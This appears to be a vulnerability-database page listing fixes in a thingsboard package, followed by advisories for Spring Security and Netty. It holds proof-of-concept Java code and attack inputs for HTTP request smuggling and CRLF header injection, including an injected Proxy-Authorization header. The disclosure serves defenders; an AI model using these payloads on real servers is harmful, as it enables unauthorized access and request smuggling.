Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Published
2026-08-13 12:10
Modified
2026-08-14 05:57
Summary
Security fixes in thingsboard 4.3.1.3-r1
Details
Package thingsboard version 4.3.1.3-r1 fixes 82 vulnerabilities: ghsa-r29c-68gh-xp6x, ghsa-h6fc-48rj-7qqh, ghsa-5m62-pw8w-7w9f, ghsa-gx5v-xp9w-j4cg, ghsa-fv25-8xcx-gqjc...
References
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "thingsboard"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.3.1.3-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"4.3.1.3-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package thingsboard version 4.3.1.3-r1 fixes 82 vulnerabilities: ghsa-r29c-68gh-xp6x, ghsa-h6fc-48rj-7qqh, ghsa-5m62-pw8w-7w9f, ghsa-gx5v-xp9w-j4cg, ghsa-fv25-8xcx-gqjc...",
"id": "CLEANSTART-2026-GY63167",
"modified": "2026-08-14T05:57:04Z",
"published": "2026-08-13T12:10:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thingsboard/thingsboard"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in thingsboard 4.3.1.3-r1",
"upstream": [
"ghsa-r29c-68gh-xp6x",
"ghsa-h6fc-48rj-7qqh",
"ghsa-5m62-pw8w-7w9f",
"ghsa-gx5v-xp9w-j4cg",
"ghsa-fv25-8xcx-gqjc",
"ghsa-5mp6-jrq3-r938",
"ghsa-9m89-8frq-c98c",
"ghsa-h2qv-fj59-j46j",
"ghsa-cc37-9q2j-3hfv",
"ghsa-3qp7-7mw8-wx86",
"ghsa-x4gw-5cx5-pgmh",
"ghsa-c653-97m9-rcg9",
"ghsa-6jv9-x5w9-2ccm",
"ghsa-3244-j874-rhc2",
"ghsa-5w86-c3rq-vjj7",
"ghsa-6ghj-frrj-jjj3",
"ghsa-rgrr-p7gp-5xj7",
"ghsa-5xrh-qmmq-w6ch",
"ghsa-5pvg-856g-cp85",
"ghsa-676x-f7gg-47vc",
"ghsa-xmv7-r254-6q78",
"ghsa-c2gf-v879-257j",
"ghsa-563q-j3cm-6jxm",
"ghsa-5x3r-wrvg-rp6q",
"ghsa-f6hv-jmp6-3vwv",
"ghsa-57rv-r2g8-2cj3",
"ghsa-xxqh-mfjm-7mv9",
"ghsa-m4cv-j2px-7723",
"ghsa-38f8-5428-x5cv",
"ghsa-hvcg-qmg6-jm4c",
"ghsa-v8h7-rr48-vmmv",
"ghsa-cm33-6792-r9fm",
"ghsa-mj4r-2hfc-f8p6",
"ghsa-45q3-82m4-75jr",
"ghsa-jfg9-48mv-9qgx",
"ghsa-w573-9ffj-6ff9",
"ghsa-5jmj-h7xm-6q6v",
"ghsa-jhq6-gfmj-v8fx",
"ghsa-p47f-322f-whfh",
"ghsa-293q-567p-wmwq",
"ghsa-vhch-2wf3-m8rp",
"CVE-2026-44891",
"CVE-2026-10532",
"CVE-2026-9828",
"CVE-2026-54515",
"CVE-2026-42583",
"CVE-2026-42579",
"CVE-2026-44893",
"CVE-2026-48059",
"CVE-2026-42584",
"CVE-2026-42587",
"CVE-2026-41417",
"CVE-2026-42580",
"CVE-2026-42581",
"CVE-2026-42585",
"CVE-2026-50020",
"CVE-2026-47244",
"CVE-2026-48043",
"CVE-2026-50560",
"CVE-2026-44248",
"CVE-2026-44250",
"CVE-2026-44890",
"CVE-2026-48006",
"CVE-2026-50011",
"CVE-2026-42586",
"CVE-2026-44249",
"CVE-2026-45416",
"CVE-2026-50010",
"CVE-2026-42578",
"CVE-2026-45674",
"CVE-2026-47691",
"CVE-2026-45673",
"CVE-2026-45536",
"CVE-2026-46340",
"CVE-2026-41293",
"CVE-2026-43512",
"CVE-2026-43515",
"CVE-2026-41284",
"CVE-2026-42498",
"CVE-2026-43513",
"ghsa-q8mj-m7cp-5q26",
"CVE-2026-8723"
]
}
GHSA-293Q-567P-WMWQ
Vulnerability from github – Published: 2026-06-10 00:31 – Updated: 2026-06-30 21:35
VLAI
Summary
Spring Security Vulnerable to Unauthorized User Impersonation when Using X.509 Client Certificates
Details
In Spring Security Web, SubjectDnX509PrincipalExtractor does not correctly handle certain malformed X.509 certificate CN values, which can lead to reading the wrong value for the username. In a carefully crafted certificate, this can lead to an attacker impersonating another user.
SubjectDnX509PrincipalExtractor is deprecated by this CVE and replaced with SubjectX500PrincipalExtractor. As part of updating, you should also migrate to SubjectX500PrincipalExtractor.
Affected versions: Spring Security Enterprise 5.7.0 through 5.7.24; 5.8.0 through 5.8.26; 6.3.0 through 6.3.17; 6.4.0 through 6.4.17; 6.5.0 through 6.5.10. OSS 6.5.0 through 6.5.10.
Severity
6.8 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.5.10"
},
"package": {
"ecosystem": "Maven",
"name": "org.springframework.security:spring-security-web"
},
"ranges": [
{
"events": [
{
"introduced": "6.5.0"
},
{
"fixed": "6.5.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.security:spring-security-web"
},
"ranges": [
{
"events": [
{
"introduced": "6.4.0"
},
{
"last_affected": "6.4.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.security:spring-security-web"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"last_affected": "6.3.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.security:spring-security-web"
},
"ranges": [
{
"events": [
{
"introduced": "5.8.0"
},
{
"last_affected": "5.8.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.security:spring-security-web"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "5.7.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47838"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-30T21:35:09Z",
"nvd_published_at": "2026-06-10T00:16:54Z",
"severity": "MODERATE"
},
"details": "In Spring Security Web, `SubjectDnX509PrincipalExtractor` does not correctly handle certain malformed X.509 certificate CN values, which can lead to reading the wrong value for the username. In a carefully crafted certificate, this can lead to an attacker impersonating another user.\n\n`SubjectDnX509PrincipalExtractor` is deprecated by this CVE and replaced with `SubjectX500PrincipalExtractor`. As part of updating, you should also migrate to `SubjectX500PrincipalExtractor`.\n\nAffected versions:\nSpring Security Enterprise 5.7.0 through 5.7.24; 5.8.0 through 5.8.26; 6.3.0 through 6.3.17; 6.4.0 through 6.4.17; 6.5.0 through 6.5.10. \nOSS 6.5.0 through 6.5.10.",
"id": "GHSA-293q-567p-wmwq",
"modified": "2026-06-30T21:35:09Z",
"published": "2026-06-10T00:31:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47838"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-2jrg-rf5x-568g"
},
{
"type": "WEB",
"url": "https://spring.io/security/cve-2026-47838"
},
{
"type": "PACKAGE",
"url": "spring-projects/spring-security"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Spring Security Vulnerable to Unauthorized User Impersonation when Using X.509 Client Certificates"
}
GHSA-3244-J874-RHC2
Vulnerability from github – Published: 2026-06-08 19:01 – Updated: 2026-06-12 19:27
VLAI
Summary
Netty: Memory Exhaustion in RedisArrayAggregator due to Deeply Nested Arrays
Details
Summary
An attacker can cause DoS by sending a crafted Redis payload with deeply nested arrays. This forces the server to allocate a massive number of state objects and collections, leading to memory exhaustion and an OutOfMemoryError.
Details
io.netty.handler.codec.redis.RedisArrayAggregator aggregates RedisMessage parts into ArrayRedisMessage. It uses a Deque<AggregateState> to keep track of nested arrays. However, it does not limit the maximum depth of nested arrays. When an attacker sends a continuous stream of nested array headers (e.g., *1\r\n*1\r\n*1\r\n...), RedisArrayAggregator pushes a new AggregateState onto the stack and allocates a new ArrayList for each header. Because there is no depth limit, an attacker can send millions of such headers. This consumes a massive amount of heap memory for the AggregateState instances and their backing ArrayLists, eventually resulting in an OutOfMemoryError.
Impact
Denial of Service due to memory exhaustion. Any application using Netty's RedisArrayAggregator to handle untrusted Redis traffic is vulnerable.
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-redis"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-redis"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44250"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-08T19:01:52Z",
"nvd_published_at": "2026-06-11T22:16:56Z",
"severity": "HIGH"
},
"details": "### Summary\nAn attacker can cause DoS by sending a crafted Redis payload with deeply nested arrays. This forces the server to allocate a massive number of state objects and collections, leading to memory exhaustion and an OutOfMemoryError.\n\n### Details\nio.netty.handler.codec.redis.RedisArrayAggregator aggregates RedisMessage parts into ArrayRedisMessage. It uses a `Deque\u003cAggregateState\u003e` to keep track of nested arrays. However, it does not limit the maximum depth of nested arrays. When an attacker sends a continuous stream of nested array headers (e.g., `*1\\r\\n*1\\r\\n*1\\r\\n...`), RedisArrayAggregator pushes a `new AggregateState` onto the stack and allocates a `new ArrayList` for each header. Because there is no depth limit, an attacker can send millions of such headers. This consumes a massive amount of heap memory for the AggregateState instances and their backing ArrayLists, eventually resulting in an OutOfMemoryError.\n\n### Impact\nDenial of Service due to memory exhaustion. Any application using Netty\u0027s RedisArrayAggregator to handle untrusted Redis traffic is vulnerable.",
"id": "GHSA-3244-j874-rhc2",
"modified": "2026-06-12T19:27:12Z",
"published": "2026-06-08T19:01:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-3244-j874-rhc2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44250"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty: Memory Exhaustion in RedisArrayAggregator due to Deeply Nested Arrays"
}
GHSA-38F8-5428-X5CV
Vulnerability from github – Published: 2026-05-07 00:22 – Updated: 2026-05-14 20:41
VLAI
Summary
Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding
Details
Summary
Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.
Details
Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length
" If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. "
A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.
PoC
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked, identity\r\n" +
"Content-Length: 48\r\n" +
"\r\n" +
"0\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));
// Request 1
HttpRequest request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
assertTrue(request.headers().contains("Transfer-Encoding"));
assertFalse(request.headers().contains("Content-Length"));
LastHttpContent last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
// Request 2
request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
}
Impact
HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
Severity
6.5 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42585"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:22:27Z",
"nvd_published_at": "2026-05-13T19:17:24Z",
"severity": "MODERATE"
},
"details": "### Summary\nNetty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.\n\n### Details\nNetty incorrectly marks a request as chunked when malformed \"Transfer-Encoding: chunked, identity\" is present.\nAccording to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length\n\n\"\nIf a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding,\n the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request)\n status code and then close the connection.\n\"\n\nA possible scenario is when Netty is behind a proxy that doesn\u0027t reject requests with \"Transfer-Encoding: chunked, identity\", but prefers \"Content-Length\" and forwards the content to Netty.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.\n\n```java\n@Test\n public void test() {\n String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n \"Host: localhost\\r\\n\" +\n \"Transfer-Encoding: chunked, identity\\r\\n\" +\n \"Content-Length: 48\\r\\n\" +\n \"\\r\\n\" +\n \"0\\r\\n\" +\n \"\\r\\n\" +\n \"GET /smuggled HTTP/1.1\\r\\n\" +\n \"Host: localhost\\r\\n\" +\n \"\\r\\n\";\n\n EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n // Request 1\n HttpRequest request = channel.readInbound();\n assertTrue(request.decoderResult().isSuccess());\n assertTrue(request.headers().contains(\"Transfer-Encoding\"));\n assertFalse(request.headers().contains(\"Content-Length\"));\n LastHttpContent last = channel.readInbound();\n assertTrue(last.decoderResult().isSuccess());\n last.release();\n\n // Request 2\n request = channel.readInbound();\n assertTrue(request.decoderResult().isSuccess());\n last = channel.readInbound();\n assertTrue(last.decoderResult().isSuccess());\n last.release();\n }\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests",
"id": "GHSA-38f8-5428-x5cv",
"modified": "2026-05-14T20:41:21Z",
"published": "2026-05-07T00:22:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-38f8-5428-x5cv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42585"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding"
}
GHSA-3QP7-7MW8-WX86
Vulnerability from github – Published: 2026-06-08 19:00 – Updated: 2026-06-12 19:27
VLAI
Summary
Netty has an IPv6 Subnet Filter Bypass via Incorrect Comparator Masking
Details
Summary
An attacker can bypass IPv6 subnet rules due to an incorrect masking operation in IpSubnetFilterRule.compareTo(). Valid public IP addresses can bypass the restrictions.
Details
io.netty.handler.ipfilter.IpSubnetFilterRule#compareTo(java.net.InetSocketAddress) method performs a bitwise AND between the incoming IP address and the configured networkAddress, instead of the subnetMask.
Impact
Access Control Bypass. Attacker can bypass IpSubnetFilter IPv6 access controls.
Severity
8.1 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44249"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-697"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-08T19:00:33Z",
"nvd_published_at": "2026-06-11T22:16:56Z",
"severity": "HIGH"
},
"details": "### Summary\nAn attacker can bypass IPv6 subnet rules due to an incorrect masking operation in IpSubnetFilterRule.compareTo(). Valid public IP addresses can bypass the restrictions.\n\n### Details\n`io.netty.handler.ipfilter.IpSubnetFilterRule#compareTo(java.net.InetSocketAddress)` method performs a bitwise AND between the incoming IP address and the configured networkAddress, instead of the subnetMask.\n\n### Impact\nAccess Control Bypass. Attacker can bypass IpSubnetFilter IPv6 access controls.",
"id": "GHSA-3qp7-7mw8-wx86",
"modified": "2026-06-12T19:27:07Z",
"published": "2026-06-08T19:00:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-3qp7-7mw8-wx86"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44249"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty has an IPv6 Subnet Filter Bypass via Incorrect Comparator Masking"
}
GHSA-45Q3-82M4-75JR
Vulnerability from github – Published: 2026-05-07 00:11 – Updated: 2026-05-14 20:40
VLAI
Summary
Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)
Details
Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions) |
| Component | io.netty.handler.proxy.HttpProxyHandler |
| Vulnerability Type | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |
| Impact | HTTP Header Injection in CONNECT Proxy Requests |
| CVSS 3.1 Score | 7.5 (High) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| Related Advisory | GHSA-84h7-rjj3-6jx4 (Incomplete Fix) |
2. Affected Components
io.netty.handler.proxy.HttpProxyHandler—newInitialMessage()method (line 176) explicitly disables header validation viawithValidation(false)
3. Vulnerability Description
Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method (line 176) creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.
Root Cause
// HttpProxyHandler.java:176-190
protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {
// ...
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false); // <-- VALIDATION EXPLICITLY DISABLED
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, hostHeader);
if (authorization != null) {
req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);
}
if (outboundHeaders != null) {
req.headers().add(outboundHeaders); // <-- USER HEADERS ADDED WITHOUT VALIDATION
}
return req;
}
The outboundHeaders parameter comes from the HttpProxyHandler constructor (lines 80-93, 99-127), which is supplied by application code.
Incomplete Fix of GHSA-84h7-rjj3-6jx4
This vulnerability represents an incomplete fix of the previously acknowledged security advisory GHSA-84h7-rjj3-6jx4.
The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via validateRequestLineTokens() in DefaultHttpRequest and enabling header validation by default through DefaultHttpHeadersFactory. However, HttpProxyHandler explicitly opts out of the fix by calling withValidation(false), creating a gap where:
- The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed
- User-provided
outboundHeadersare added without any CRLF check - The resulting CONNECT request contains unvalidated headers on the wire
This is not a new vulnerability class — it is the same CRLF injection that GHSA-84h7-rjj3-6jx4 was supposed to fix, but HttpProxyHandler was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
- An application uses
HttpProxyHandlerwith user-influencedoutboundHeaders - The application does not perform its own CRLF sanitization on header values
Common affected patterns: - HTTP proxy clients that forward user-specified custom headers - Web scraping frameworks that allow users to set proxy headers - API gateways that pass user headers through a proxy tunnel
5. Attack Scenarios
Scenario 1: Proxy Authentication Bypass
HttpHeaders headers = new DefaultHttpHeaders(false);
headers.set("X-Forwarded-For", userInput); // userInput from attacker
new HttpProxyHandler(proxyAddr, headers);
Attack input: userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="
Wire format:
CONNECT target.com:443 HTTP/1.1
host: target.com:443
X-Forwarded-For: 1.2.3.4
Proxy-Authorization: Basic YWRtaW46YWRtaW4= <-- INJECTED
The injected Proxy-Authorization header may override or supplement the original authentication, potentially granting access to a restricted proxy.
Scenario 2: Request Smuggling via Proxy
Attack input: userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"
Injects a full smuggled request through the proxy tunnel establishment.
6. Proof of Concept
Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;
public class HttpProxyHeaderInjectionPoC {
public static void main(String[] args) {
System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");
// Simulate HttpProxyHandler.newInitialMessage() with validation=false
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false);
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
"target.com:443",
io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, "target.com:443");
// Inject CRLF in header value
String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
req.headers().set("X-Forwarded-For", malicious);
// Encode to wire format
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
ch.writeOutbound(req);
ByteBuf out = ch.readOutbound();
String encoded = out.toString(StandardCharsets.UTF_8);
out.release();
ch.finishAndReleaseAll();
System.out.println("Wire format:");
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r"));
}
System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
System.out.println("VULNERABLE: " +
(encoded.contains("X-Admin: true") ? "YES" : "NO"));
}
}
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty HttpProxyHandler Header Injection PoC ===
[TEST 1] outboundHeaders with CRLF (validation disabled)
----------------------------------------------------------
Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"
Header accepted: YES (validation disabled!)
Wire format:
CONNECT target.com:443 HTTP/1.1\r
host: target.com:443\r
X-Forwarded-For: 1.2.3.4\r
X-Forwarded-For: 127.0.0.1\r <-- INJECTED
X-Admin: true\r <-- INJECTED
\r
Injected X-Admin header in wire: true
VULNERABLE: YES
[TEST 2] validation=true vs validation=false comparison
--------------------------------------------------------
With validation=true:
SAFE: Rejected - IllegalArgumentException
With validation=false:
VULNERABLE: Accepted CRLF in header value!
Stored value contains CRLF: true
7. Remediation Recommendations
Option 1: Remove withValidation(false)
// Change HttpProxyHandler.java line 176 from:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);
// To:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();
Option 2: Validate outboundHeaders Before Adding
if (outboundHeaders != null) {
for (Map.Entry<String, String> entry : outboundHeaders) {
HttpUtil.validateHeaderValue(entry.getValue());
}
req.headers().add(outboundHeaders);
}
8. Resources
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler-proxy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler-proxy"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42578"
],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:11:40Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "LOW"
},
"details": "# Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions) |\n| **Component** | `io.netty.handler.proxy.HttpProxyHandler` |\n| **Vulnerability Type** | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |\n| **Impact** | HTTP Header Injection in CONNECT Proxy Requests |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n| **Related Advisory** | **GHSA-84h7-rjj3-6jx4** (Incomplete Fix) |\n\n## 2. Affected Components\n\n- `io.netty.handler.proxy.HttpProxyHandler` \u2014 `newInitialMessage()` method (line 176) explicitly disables header validation via `withValidation(false)`\n\n## 3. Vulnerability Description\n\nNetty\u0027s `HttpProxyHandler` constructs HTTP CONNECT requests with **header validation explicitly disabled**. The `newInitialMessage()` method (line 176) creates headers using `DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds user-provided `outboundHeaders` (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.\n\n### Root Cause\n\n```java\n// HttpProxyHandler.java:176-190\nprotected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {\n // ...\n HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n .withValidation(false); // \u003c-- VALIDATION EXPLICITLY DISABLED\n\n FullHttpRequest req = new DefaultFullHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n req.headers().set(HttpHeaderNames.HOST, hostHeader);\n\n if (authorization != null) {\n req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);\n }\n\n if (outboundHeaders != null) {\n req.headers().add(outboundHeaders); // \u003c-- USER HEADERS ADDED WITHOUT VALIDATION\n }\n\n return req;\n}\n```\n\nThe `outboundHeaders` parameter comes from the `HttpProxyHandler` constructor (lines 80-93, 99-127), which is supplied by application code.\n\n### Incomplete Fix of GHSA-84h7-rjj3-6jx4\n\n**This vulnerability represents an incomplete fix of the previously acknowledged security advisory [GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).**\n\nThe GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via `validateRequestLineTokens()` in 